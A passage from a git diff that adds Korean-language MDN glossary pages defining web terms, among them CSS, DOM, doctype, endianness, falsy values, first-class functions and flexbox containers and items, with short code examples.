+<p>CSS는 {{glossary("HTML")}}, {{glossary("JavaScript")}}와 함께 웹의 3대 핵심 기술을 이룹니다. 보통 {{Glossary("Element", "HTML 요소")}}의 스타일을 결정하지만, {{Glossary("SVG")}}와 {{Glossary("XML")}} 등 다른 마크업 언어에도 사용할 수 있습니다.</p>
+
+<p>하나의 CSS 규칙은 {{Glossary("CSS selector", "선택자")}}에 연결된 {{Glossary("CSS Property","속성")}} 세트로 구성됩니다. HTML의 모든 문단을 검은색 배경에 노란색 글자색으로 만드는 예제를 확인해보세요.</p>
+
+<pre class="brush: css">/* The selector "p" indicate that all paragraphs in the document will be affected by that rule */
+p {
+  /* The "color" property defines the text color, in this case yellow. */
+  color: yellow;
+
+  /* The "background-color" property defines the background color, in this case black. */
+  background-color: black
+}</pre>
+
+<p>"종속형"은 페이지의 외형을 결정할 때 선택자의 우선순위를 결정하는 법을 가리킵니다. 복잡한 웹사이트의 CSS 규칙은 수천 개에 달할 수 있으므로 종속은 매우 중요한 특성입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/Learn/CSS">CSS 배우기</a></li>
+ <li>위키백과의 {{interwiki("wikipedia", "종속형 시트")}}</li>
+</ul>
+
+<h3 id="기술_참고서">기술 참고서</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS">MDN의 CSS 문서</a></li>
+ <li><a href="http://www.w3.org/Style/CSS/current-work" rel="external">CSS Working Group의 현재 작업사항</a></li>
+</ul>
diff --git a/files/ko/glossary/css_preprocessor/index.html b/files/ko/glossary/css_preprocessor/index.html
new file mode 100644
index 0000000000..6cd4b407a1
--- /dev/null
+++ b/files/ko/glossary/css_preprocessor/index.html
@@ -0,0 +1,26 @@
+---
+title: CSS 전처리기
+slug: Glossary/CSS_preprocessor
+tags:
+  - CSS
+  - Glossary
+translation_of: Glossary/CSS_preprocessor
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><span class="seoSummary"><strong>CSS 전처리기는</strong> 전처리기의 자신만의 특별한 {{Glossary("syntax")}}를 가지고 {{Glossary("CSS")}}를 생성하도록 하는 프로그램입니다.</span> 선택할 수 있는 많은 CSS 전처기가 있습니다. 그러나 대부분의 CSS 전처리기는 pure CSS에 존재하지 않는 특징을 추가할것 입니다, 믹스인(mixin), 중첩 셀렉터(nesting selector), 상속 셀렉터(inheritance selector), 기타 등등. 이러한 특징은  CSS 구조를  가독성있고 더 유지보수 하기 좋게 합니다. </p>
+
+<p>CSS 전처리기를 사용하기 위해서는, 당신의 웹 web {{Glossary("server")}}에 CSS compiler를 설치해야 한다.</p>
+
+<h2 id="Learn_more">Learn more</h2>
+
+<h3 id="General_knowledge">General knowledge</h3>
+
+<p>여기 가장 일반적인 CSS 전처리기들이 있다:</p>
+
+<ul>
+ <li><a href="http://sass-lang.com/">SASS</a></li>
+ <li><a href="http://lesscss.org/">LESS</a></li>
+ <li><a href="http://stylus-lang.com/">Stylus</a></li>
+ <li><a href="http://postcss.org/">PostCSS</a></li>
+</ul>
diff --git a/files/ko/glossary/descriptor_(css)/index.html b/files/ko/glossary/descriptor_(css)/index.html
new file mode 100644
index 0000000000..7bc0a0c702
--- /dev/null
+++ b/files/ko/glossary/descriptor_(css)/index.html
@@ -0,0 +1,12 @@
+---
+title: Descriptor (CSS)
+slug: Glossary/Descriptor_(CSS)
+translation_of: Glossary/Descriptor_(CSS)
+---
+<p><strong>CSS 설명자(descriptor)</strong>는 {{cssxref("at-rule")}}의 특성을 정의합니다. At-rules에는 하나 이상의 설명자가 있을 수 있습니다. 각각의 설명자는 다음을 갖고있습니다.</p>
+
+<ul>
+ <li>이름</li>
+ <li>컴포넌트값을 보유하는 값</li>
+ <li>기본 상태에서 설정되지 않은(unset) "!important" 플래그</li>
+</ul>
diff --git a/files/ko/glossary/doctype/index.html b/files/ko/glossary/doctype/index.html
new file mode 100644
index 0000000000..ae42d1468c
--- /dev/null
+++ b/files/ko/glossary/doctype/index.html
@@ -0,0 +1,23 @@
+---
+title: 문서 타입 정의
+slug: Glossary/Doctype
+tags:
+  - 문서타입
+translation_of: Glossary/Doctype
+---
+<p>{{Glossary("HTML")}}에서, doctype은 모든 문서의 최상단에서 찾을 수 있는 "<code>&lt;!DOCTYPE html&gt;</code>" 필수 서문이다. doctype은 {{Glossary("브라우저")}}가 문서를 렌더링 할 때 <a href="/en-US/docs/Quirks_Mode_and_Standards_Mode">“quirks mode”</a>로 바뀌지 않도록하는 것이 유일한 목적이다. "<code>&lt;!DOCTYPE html&gt;</code>" doctype은 브라우저가 일부 스펙과 맞지 않는 다른 렌더링 모드를 사용하기 보다는 적절한 스펙을 따르는 최선의 시도를 하도록 한다.</p>
+
+<h2 id="더보기">더보기</h2>
+
+<h3 id="배경_지식">배경 지식</h3>
+
+<ul>
+ <li><a href="https://html.spec.whatwg.org/multipage/syntax.html#the-doctype">Definition of the DOCTYPE in the HTML specification</a></li>
+ <li><a href="/en-US/docs/Quirks_Mode_and_Standards_Mode">Quirks Mode and Standards Mode</a></li>
+</ul>
+
+<h3 id="기술_참조">기술 참조</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Document/doctype">Document.doctype</a>, doctype 확인 자바스크립트 함수</li>
+</ul>
diff --git a/files/ko/glossary/dom/index.html b/files/ko/glossary/dom/index.html
new file mode 100644
index 0000000000..ee5c28d2f8
--- /dev/null
+++ b/files/ko/glossary/dom/index.html
@@ -0,0 +1,28 @@
+---
+title: DOM
+slug: Glossary/DOM
+tags:
+  - DOM
+  - Glossary
+translation_of: Glossary/DOM
+---
+<p>DOM (Document Object Model) 은 {{glossary("HTML")}} 또는 {{glossary("XML")}} document와 상호작용하고 표현하는 {{glossary("API")}}입니다. DOM은 {{glossary("browser")}}에서 로드되며, 노드 트리(각 노드는 document의 부분을 나타냅니다)로 표현하는 document 모델입니다(예, {{Glossary("element")}}, 문자열, 또는 코멘트).</p>
+
+<p>DOM은 document의 모든 노드에 접근하고 상호작용할 수 있도록 브라우저에서 코드를 실행할 수 있게 해주는 이유로, {{glossary("World Wide Web","Web")}}에서 가장 많이 사용되는 {{Glossary("API")}} 중 하나입니다. 노드들은 생성, 이동 및 변경될 수 있습니다. 이벤트 리스너를 노드에 추가해 주어진 이벤트가 발생할 때 트리거되게 할 수 있습니다.</p>
+
+<p>DOM은 기본적으로 정의되어 있지 않습니다—이는 브라우저가 {{Glossary("JavaScript")}} 구현을 시작했을 때 나타납니다. 이 레거시 DOM을 DOM 0 이라고도 합니다. 오늘날, WHATWG에서 DOM 리빙 표준을 관리합니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>Wikipedia 의 {{interwiki("wikipedia", "Document_Object_Model", "Document Object Model")}}</li>
+</ul>
+
+<h3 id="기술_정보">기술 정보</h3>
+
+<ul>
+ <li><a href="/ko/docs/DOM">MDN의 DOM 문서</a></li>
+ <li><a href="https://dom.spec.whatwg.org/" rel="external">DOM 표준</a></li>
+</ul>
diff --git a/files/ko/glossary/domain_name/index.html b/files/ko/glossary/domain_name/index.html
new file mode 100644
index 0000000000..d3ace779c3
--- /dev/null
+++ b/files/ko/glossary/domain_name/index.html
@@ -0,0 +1,21 @@
+---
+title: 도메인 이름
+slug: Glossary/Domain_name
+tags:
+  - Glossary
+  - WebMechanics
+  - 도메인
+  - 도메인 네임
+  - 도메인명
+translation_of: Glossary/Domain_name
+---
+<p><strong>도메인 이름</strong>은 {{Glossary("Internet", "인터넷")}} 웹 사이트의 주소로, {{glossary("URL")}}에서 특정 웹 페이지가 속하는 서버를 식별할 때 사용합니다. 도메인 이름은 마침표(점)로 구분한 계층적인 이름(레이블)의 연속으로 구성되며, {{glossary("TLD", "확장")}}으로 끝납니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{interwiki("wikipedia", "도메인 네임")}} </li>
+ <li><a href="https://wiki.developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_domain_name">Understanding domain names</a></li>
+</ul>
diff --git a/files/ko/glossary/ecmascript/index.html b/files/ko/glossary/ecmascript/index.html
new file mode 100644
index 0000000000..c98547d9e6
--- /dev/null
+++ b/files/ko/glossary/ecmascript/index.html
@@ -0,0 +1,20 @@
+---
+title: ECMAScript
+slug: Glossary/ECMAScript
+translation_of: Glossary/ECMAScript
+---
+<p><strong>ECMAScript</strong>는 {{glossary("JavaScript")}}의 기반이 되는 스크립팅 언어 명세입니다. <a href="http://www.ecma-international.org">Ecma International</a>은 ECMAScript 표준화를 담당하고 있습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>{{Interwiki("wikipedia", "ECMAScript")}} on Wikipedia</li>
+</ul>
+
+<h3 id="기술_레퍼런스">기술 레퍼런스</h3>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">ECMAScript</a></li>
+</ul>
diff --git a/files/ko/glossary/element/index.html b/files/ko/glossary/element/index.html
new file mode 100644
index 0000000000..d0d4bf5ca0
--- /dev/null
+++ b/files/ko/glossary/element/index.html
@@ -0,0 +1,24 @@
+---
+title: 요소
+slug: Glossary/Element
+tags:
+  - CodingScripting
+  - Glossary
+  - HTML
+  - 엘리먼트
+translation_of: Glossary/Element
+---
+<div>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</div>
+
+<p><strong>요소</strong>(element)는 웹 페이지를 구성합니다. {{glossary("XML")}}과 {{glossary("HTML")}}에서, 요소는 데이터 항목, 텍스트 한 묶음, 이미지를 담을 수 있고, 아무것도 담지 않을 수도 있습니다. 일반적인 요소는 여는 태그와 몇 가지 {{glossary("attribute", "특성")}}, 내부의 텍스트 콘텐츠, 닫는 태그로 구성됩니다.<br>
+ <img alt="Example: in &lt;p class=&quot;nice&quot;>Hello world!&lt;/p>, '&lt;p class=&quot;nice&quot;>' is an opening tag, 'class=&quot;nice&quot;' is an attribute and its value, 'Hello world!' is enclosed text content, and '&lt;/p>' is a closing tag." src="https://mdn.mozillademos.org/files/7659/anatomy-of-an-html-element.png" style="height: 181px; width: 609px;"></p>
+
+<p>요소와 {{glossary("tag", "태그")}}는 <strong>같지 않습니다</strong>. 태그는 소스 코드에서 요소의 시작과 끝을 표시하고, 요소는 {{glossary("browser", "브라우저")}}가 페이지를 표시할 때 사용하는 문서 모델인 {{glossary("DOM")}}의 일부입니다.</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/HTML/Introduction_to_HTML/Getting_started">HTML 시작하기</a></li>
+ <li><a href="/ko/docs/Web/Web_Components/Using_custom_elements">사용자 지정 요소 정의하기</a></li>
+ <li>DOM의 요소를 나타내는 {{domxref("Element")}} 인터페이스</li>
+</ul>
diff --git a/files/ko/glossary/empty_element/index.html b/files/ko/glossary/empty_element/index.html
new file mode 100644
index 0000000000..3d73deec50
--- /dev/null
+++ b/files/ko/glossary/empty_element/index.html
@@ -0,0 +1,34 @@
+---
+title: 빈 요소
+slug: Glossary/Empty_element
+tags:
+  - CodingScripting
+  - Glossary
+  - Intermediate
+translation_of: Glossary/Empty_element
+---
+<p><strong>빈 요소</strong>는 HTML, SVG, MathML의 {{glossary("element", "요소")}} 중 자식 노드를 가질 수 <strong>없는</strong> 요소입니다.</p>
+
+<p><a href="https://html.spec.whatwg.org/multipage/">HTML</a>, <a href="https://www.w3.org/TR/SVG2/">SVG</a>, <a href="https://www.w3.org/TR/MathML3/">MathML</a>의 명세는 각각의 요소가 무엇을 담을 수 있는지 매우 정확하게 명시하고 있습니다. 많은 수의 조합은 {{htmlelement("hr")}} 안의 {{htmlelement("audio")}}와 같이, 아무런 의미도 갖지 않습니다.</p>
+
+<p>HTML의 빈 요소에 닫는 태그를 사용하는 건 보통 유효하지 않습니다. 예를 들어 <code>&lt;input type="text"&gt;&lt;/input&gt;</code>는 유효하지 않은 HTML입니다.</p>
+
+<p>HTML의 빈 요소 목록은 다음과 같습니다.</p>
+
+<ul>
+ <li>{{HTMLElement("area")}}</li>
+ <li>{{HTMLElement("base")}}</li>
+ <li>{{HTMLElement("br")}}</li>
+ <li>{{HTMLElement("col")}}</li>
+ <li>{{HTMLElement("embed")}}</li>
+ <li>{{HTMLElement("hr")}}</li>
+ <li>{{HTMLElement("img")}}</li>
+ <li>{{HTMLElement("input")}}</li>
+ <li>{{HTMLElement("keygen")}}(HTML 5.2 초안에서 제거)</li>
+ <li>{{HTMLElement("link")}}</li>
+ <li>{{HTMLElement("meta")}}</li>
+ <li>{{HTMLElement("param")}}</li>
+ <li>{{HTMLElement("source")}}</li>
+ <li>{{HTMLElement("track")}}</li>
+ <li>{{HTMLElement("wbr")}}</li>
+</ul>
diff --git a/files/ko/glossary/endianness/index.html b/files/ko/glossary/endianness/index.html
new file mode 100644
index 0000000000..8963a4ee47
--- /dev/null
+++ b/files/ko/glossary/endianness/index.html
@@ -0,0 +1,44 @@
+---
+title: 엔디언
+slug: Glossary/Endianness
+tags:
+  - Coding
+  - CodingScripting
+  - Glossary
+translation_of: Glossary/Endianness
+---
+<p id="Summary"><strong>엔디언</strong>(endian, endianness) 또는 <strong>바이트 순서</strong>는 숫자를 구성하는 바이트를 컴퓨터가 정렬하는 방법입니다.</p>
+
+<p>메모리의 저장 공간은 인덱스, 또는 주소를 가지고 있습니다. 각각의 바이트는 8비트 숫자(<code>0x00</code> 이상, <code>0xff</code> 이하)를 저장할 수 있으므로, 그보다 큰 숫자에 대해서는 두 개 이상의 바이트가 필요합니다. 여러 개의 바이트를 정렬하는, 지금까지 가장 많이 쓰이는 방법은 모든 Intel 프로세서가 사용하는 <strong>리틀 엔디언</strong>입니다. 리틀 엔디언은 작은 단위부터 정렬하는 방식으로, 가장 작은 단위의 바이트가 맨 앞 혹은 앞쪽 주소를 차지합니다. 이 방식은 유럽식 날짜 표기(31-12-2050)에 대입할 수 있습니다.</p>
+
+<p>자연스럽게, <strong>빅 엔디언</strong>은 그 반대 순서를 나타내며 ISO 날짜 표기(2050-12-31)와 같습니다. 빅 엔디언은 "네트워크 바이트 순서"라고도 부르는데, 대부분의 인터넷 표준은 데이터의 저장 방식에 빅 엔디언을 요구하기 때문입니다. 이는 표준 UNIX 소켓 단계부터, 표준화 웹 이진 데이터 구조까지 올라갑니다. 또한 68000 시리즈와 PowerPC 마이크로프로세서를 사용하는 구형 Mac 컴퓨터는 빅 엔디언을 사용했었습니다.</p>
+
+<p>다음은 숫자 <code>0x12345678</code> (10진수 305 419 896)으로 나타낸 예제입니다.</p>
+
+<ul>
+ <li>리틀 엔디언: <code>0x78 0x56 0x34 0x12</code></li>
+ <li>빅 엔디언: <code>0x12 0x34 0x56 0x78</code></li>
+ <li>혼합 엔디언(구형, 매우 드묾): <code>0x34 0x12 0x78 0x56</code></li>
+</ul>
+
+<section class="Quick_links" id="Quick_Links">
+<ol>
+ <li>같이 보기
+  <ol>
+   <li>{{jsxref("ArrayBuffer")}}</li>
+   <li>{{jsxref("DataView")}}</li>
+   <li><a href="/ko/docs/Web/JavaScript/Typed_arrays">형식화 배열</a></li>
+  </ol>
+ </li>
+ <li>위키백과
+  <ol>
+   <li>{{Interwiki("wikipedia", "엔디언")}}</li>
+  </ol>
+ </li>
+ <li><a href="/ko/docs/Glossary">용어 사전</a>
+  <ol>
+   <li>{{Glossary("data structure", "자료 구조")}}</li>
+  </ol>
+ </li>
+</ol>
+</section>
diff --git a/files/ko/glossary/entity_header/index.html b/files/ko/glossary/entity_header/index.html
new file mode 100644
index 0000000000..35ef8a7bbc
--- /dev/null
+++ b/files/ko/glossary/entity_header/index.html
@@ -0,0 +1,26 @@
+---
+title: 엔티티 헤더
+slug: Glossary/Entity_header
+tags:
+  - WebMechanics
+  - 용어
+translation_of: Glossary/Entity_header
+---
+<p>엔티티 헤더는 메시지 바디의 컨텐츠를 나타내는 {{glossary("header", "HTTP 헤더")}}입니다. 엔티티 헤더는 HTTP 요청 및 응답 모두에서 사용됩니다. {{HTTPHeader("Content-Length")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Encoding")}}과 같은 헤더는 엔티티 헤더입니다.</p>
+
+<p>엔티티 헤더가 요청이나 응답 헤더가 아님에도 불구하고, 이러한 용어로 종종 포함됩니다.</p>
+
+<p>다음 예시에서, {{HTTPHeader("Content-Length")}}는 엔티티 헤더지만, {{HTTPHeader("Host")}}와 {{HTTPHeader("User-Agent")}}는 {{glossary("request header", "request 헤더")}}입니다:</p>
+
+<pre>POST /myform.html HTTP/1.1
+Host: developer.mozilla.org
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0) Gecko/20100101 Firefox/50.0
+Content-Length: 128</pre>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="기술적_지식">기술적 지식</h3>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Headers">모든 HTTP 헤더의 목록</a></li>
+</ul>
diff --git a/files/ko/glossary/falsy/index.html b/files/ko/glossary/falsy/index.html
new file mode 100644
index 0000000000..5b9f046a7a
--- /dev/null
+++ b/files/ko/glossary/falsy/index.html
@@ -0,0 +1,107 @@
+---
+title: 거짓같은 값
+slug: Glossary/Falsy
+tags:
+  - CodingScripting
+  - Glossary
+  - JavaScript
+  - 거짓 같은 값
+translation_of: Glossary/Falsy
+---
+<p id="Summary"><strong>거짓 같은 값</strong>(Falsy, <strong>falsey</strong>로 쓰이기도 함) 값은 {{Glossary("Boolean","불리언")}} 문맥에서 <code>false</code>로 평가되는 값입니다.</p>
+
+<p>{{Glossary("JavaScript")}}는 {{Glossary("Conditional", "조건절")}}, {{Glossary("Loop", "반복문")}} 등 불리언 값이 필요한 곳에서 {{Glossary("Type_Conversion", "형 변환")}}을 이용해 특정 값을 불리언 값으로 변환합니다.</p>
+
+<p>다음은 8가지 거짓 같은 값들입니다:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>false</code></td>
+   <td>키워드 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Lexical_grammar#구형_표준의_확장_예약_키워드">false</a></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td>숫자 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Data_structures#Number_타입">zero</a></td>
+  </tr>
+  <tr>
+   <td><code>-0</code></td>
+   <td>음수 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Data_structures#Number_타입">zero</a></td>
+  </tr>
+  <tr>
+   <td><code>0n</code></td>
+   <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a>. 불리언으로 사용될 경우, 숫자와 같은 규칙을 따름. <code>0n</code>은 거짓 같은 값.</td>
+  </tr>
+  <tr>
+   <td><code>""</code></td>
+   <td>
+    <p>빈 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/String">string</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{Glossary("null")}}</td>
+   <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/null">null</a> - 아무런 값도 없음</td>
+  </tr>
+  <tr>
+   <td>{{Glossary("undefined")}}</td>
+   <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a> - 원시값</td>
+  </tr>
+  <tr>
+   <td>{{Glossary("NaN")}}</td>
+   <td><a href="https://wiki.developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/NaN">NaN </a>- 숫자가 아님</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p>오브젝트는  <a href="https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot">[[IsHTMLDDA]] internal slot</a> 을 가지고 있어야 거짓같은 값이 됩니다. 이 슬롯은 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/API/Document/all"><code>document.all</code></a> 에만 존재하며 자바스크립트로 설정될 수 없습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<p>다음은 거짓 같은 값의 예시입니다. 거짓 같은 값은 불리언 문맥에서 <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">false</span></font>로 변환되므로, 아래의 모든 <code>if</code> 블록은 실행되지 않습니다.</p>
+
+<pre class="brush: js notranslate">if (false)
+if (null)
+if (undefined)
+if (0)
+if (-0)
+if (0n)
+if (NaN)
+if ("")
+</pre>
+
+<h3 id="논리_AND_연산자">논리 AND 연산자, &amp;&amp;</h3>
+
+<p>첫 번째 객체가 거짓 같은 값이라면, 해당 객체를 반환합니다.</p>
+
+<pre class="brush: js notranslate">false &amp;&amp; "dog"
+// ↪ false
+
+0 &amp;&amp; "dog"
+// ↪ 0
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("ESDraft", "#sec-toboolean", "<code>ToBoolean</code> abstract operation")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{Glossary("Truthy", "참 같은 값")}}</li>
+ <li>{{Glossary("Boolean", "불리언")}}</li>
+</ul>
+
+<p>{{QuickLinksWithSubpages("/ko/docs/Glossary")}}</p>
diff --git a/files/ko/glossary/firewall/index.html b/files/ko/glossary/firewall/index.html
new file mode 100644
index 0000000000..827559cc88
--- /dev/null
+++ b/files/ko/glossary/firewall/index.html
@@ -0,0 +1,19 @@
+---
+title: 방화벽
+slug: Glossary/firewall
+tags:
+  - Glossary
+  - Security
+translation_of: Glossary/firewall
+---
+<p><strong>방화벽</strong>은 네트워크 트래픽을 필터링하는 시스템이다. 이것을 통해 트래픽을 특정 규칙에 따라 통과시키거나 차단할 수 있다. 예를 들어 특정한 포트를 겨냥한 수신 연결이나 특정 IP 주소에 대한 송신 연결을 차단할 수 있다.</p>
+
+<p>방화벽은 하나의 소프트웨어처럼 단순할 수도 있고, 방화벽 역할을 하는 유일한 기능을 가진 전용 기계처럼 복잡할 수도 있다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="일반적인_지식">일반적인 지식</h3>
+
+<ul>
+ <li>Wikipedia의 {{Interwiki("wikipedia", "Firewall (computing)")}} </li>
+</ul>
diff --git a/files/ko/glossary/first-class_function/index.html b/files/ko/glossary/first-class_function/index.html
new file mode 100644
index 0000000000..682e94731c
--- /dev/null
+++ b/files/ko/glossary/first-class_function/index.html
@@ -0,0 +1,105 @@
+---
+title: 일급 함수
+slug: Glossary/First-class_Function
+tags:
+  - 1급객체
+  - 1급함수
+  - CodingScripting
+  - Glossary
+  - JavaScript
+  - 일급객체
+translation_of: Glossary/First-class_Function
+---
+<p>함수를 다른 변수와 동일하게 다루는 언어는 <strong>일급 함수</strong>를 가졌다고 표현합니다. 예를 들어, 일급 함수를 가진 언어에서는 함수를 다른 함수에 매개변수로 제공하거나, 함수가 함수를 반환할 수 있으며, 변수에도 할당할 수 있습니다.</p>
+
+<h2 id="예제_변수에_함수_할당">예제 | 변수에 함수 할당</h2>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const foo = function() {
+   console.log("foobar");
+}
+// 변수를 사용해 호출
+foo();
+</pre>
+
+<p>익명함수를 변수에 할당한 다음, 그 변수를 사용하여 끝에 괄호 <code>()</code>를 추가하여 함수를 호출했습니다.</p>
+
+<div class="note">
+<p><strong>함수가 이름을 가지고 있더라도</strong> 할당한 변수 이름을 사용해 함수를 호출할 수 있습니다. 이름을 지정하면 코드를 디버깅할 때 유용합니다. 하지만 호출하는 방식에는 영향을 미치지 않습니다.</p>
+</div>
+
+<h2 id="예제_함수를_인자로_전달">예제 | 함수를 인자로 전달</h2>
+
+<h3 id="JavaScript_2">JavaScript</h3>
+
+<pre class="brush: js">function sayHello() {
+   return "Hello, ";
+}
+function greeting(helloMessage, name) {
+  console.log(helloMessage() + name);
+}
+// `sayHello`를 `greeting` 함수에 인자로 전달
+greeting(sayHello, "JavaScript!");
+</pre>
+
+<p><code>sayHello()</code> 함수를 <code>greeting()</code> 함수의 인자로 전달했습니다. 이것이 함수를 어떻게 변수처럼 다루는지 보여주는 예시입니다.</p>
+
+<div class="note">
+<p>다른 함수에 인자로 전달된 함수를 {{glossary("Callback function", "콜백 함수")}}라고 합니다. <em><code>sayHello</code>는 콜백 함수입니다.</em></p>
+</div>
+
+<h2 id="예제_함수_반환">예제 | 함수 반환</h2>
+
+<h3 id="JavaScript_3">JavaScript</h3>
+
+<pre class="brush: js">function sayHello() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+</pre>
+
+<p>함수가 함수를 반환하는 예제입니다. <em>JavaScript에서는 함수를 변수처럼 취급하기 때문에 함수를 반환할 수 있습니다.</em></p>
+
+<div class="note">
+<p>함수를 반환하는 함수를 <strong>고차 함수</strong>라고 부릅니다.</p>
+</div>
+
+<p>다시 예제로 돌아갑시다. <code>sayHello</code> 함수를 호출했을 때 반환하는 익명함수를 호출하려면 두 가지 방법이 있습니다.</p>
+
+<h3 id="1-_변수_사용">1- 변수 사용</h3>
+
+<pre class="brush: js">const sayHello = function() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+const myFunc = sayHello();
+myFunc();</pre>
+
+<p>이렇게 하면 <code>Hello!</code> 메시지가 출력됩니다.</p>
+
+<div class="note">
+<p>만약에 <code>sayHello</code> 함수를 직접 호출하면, <strong>반환된 함수를 호출하지않고</strong> 함수 자체를 반환합니다. 그러므로 반환된 함수를 다른 변수에 저장하여 사용해야합니다.</p>
+</div>
+
+<h3 id="2-_이중_괄호_사용">2- 이중 괄호 사용</h3>
+
+<pre class="brush: js">function sayHello() {
+   return function() {
+      console.log("Hello!");
+   }
+}
+sayHello()();
+</pre>
+
+<p>이중 괄호 <code>()()</code>를 사용해 반환한 함수도 호출하고 있습니다.</p>
+
+<h2 id="더_배우기">더 배우기</h2>
+
+<h3 id="일반_지식">일반 지식</h3>
+
+<ul>
+ <li>위키백과 {{Interwiki("wikipedia", "일급 객체")}}</li>
+</ul>
diff --git a/files/ko/glossary/flex_container/index.html b/files/ko/glossary/flex_container/index.html
new file mode 100644
index 0000000000..8d70d17c82
--- /dev/null
+++ b/files/ko/glossary/flex_container/index.html
@@ -0,0 +1,36 @@
+---
+title: 플렉스 컨테이너
+slug: Glossary/Flex_Container
+tags:
+  - CSS
+  - Glossary
+  - flexbox
+translation_of: Glossary/Flex_Container
+---
+<p>{{glossary("flexbox", "플렉스박스")}} 레이아웃은 부모 요소의 <code>display</code> 속성에 <code>flex</code> 또는 <code>inline-flex</code> 값을 지정해 정의합니다. 이 때, 부모 요소는 <strong>플렉스 컨테이너</strong>, 각각의 자식 요소를 {{glossary("flex item", "플렉스 항목")}}이 됩니다.</p>
+
+<p><code>flex</code> 값은 요소를 블록 레벨 플렉스 컨테이너로 지정하고, <code>inline-flex</code>는 인라인 레벨 플렉스 컨테이너로 지정합니다. 두 값은 요소에 새로운 <strong>플렉스 서식 맥락</strong>을 생성합니다. 플렉스 서식 맥락은 블록 서식 맥락과 유사하여 플로팅 요소가 컨테이너를 침범하지 않으며, 컨테이너의 바깥 여백이 자기 아래 플렉스 항목의 바깥 여백과 상쇄되지 않습니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="속성_참고서">속성 참고서</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-content")}}</li>
+ <li>{{cssxref("align-items")}}</li>
+ <li>{{cssxref("flex")}}</li>
+ <li>{{cssxref("flex-direction")}}</li>
+ <li>{{cssxref("flex-flow")}}</li>
+ <li>{{cssxref("flex-wrap")}}</li>
+ <li>{{cssxref("justify-content")}}</li>
+</ul>
+</div>
+
+<h3 id="더_읽어보기">더 읽어보기</h3>
+
+<ul>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Mastering_Wrapping_of_Flex_Items">Mastering wrapping of flex items</a></em></li>
+</ul>
diff --git a/files/ko/glossary/flex_item/index.html b/files/ko/glossary/flex_item/index.html
new file mode 100644
index 0000000000..d7ea0c7c4e
--- /dev/null
+++ b/files/ko/glossary/flex_item/index.html
@@ -0,0 +1,34 @@
+---
+title: 플렉스 항목
+slug: Glossary/Flex_Item
+tags:
+  - CSS
+  - Glossary
+  - flexbox
+translation_of: Glossary/Flex_Item
+---
+<p>{{glossary("Flex Container", "플렉스 컨테이너")}}(<code>display: flex</code> 또는 <code>display: inline-flex</code>를 지정한 요소)의 바로 아래 자식은 <strong>플렉스 항목</strong>이 됩니다.</p>
+
+<p>플렉스 컨테이너 내의 텍스트 역시 플렉스 항목입니다.</p>
+
+<h2 id="더_알아보기">더 알아보기</h2>
+
+<h3 id="속성_참고서">속성 참고서</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("align-self")}}</li>
+ <li>{{cssxref("flex-basis")}}</li>
+ <li>{{cssxref("flex-grow")}}</li>
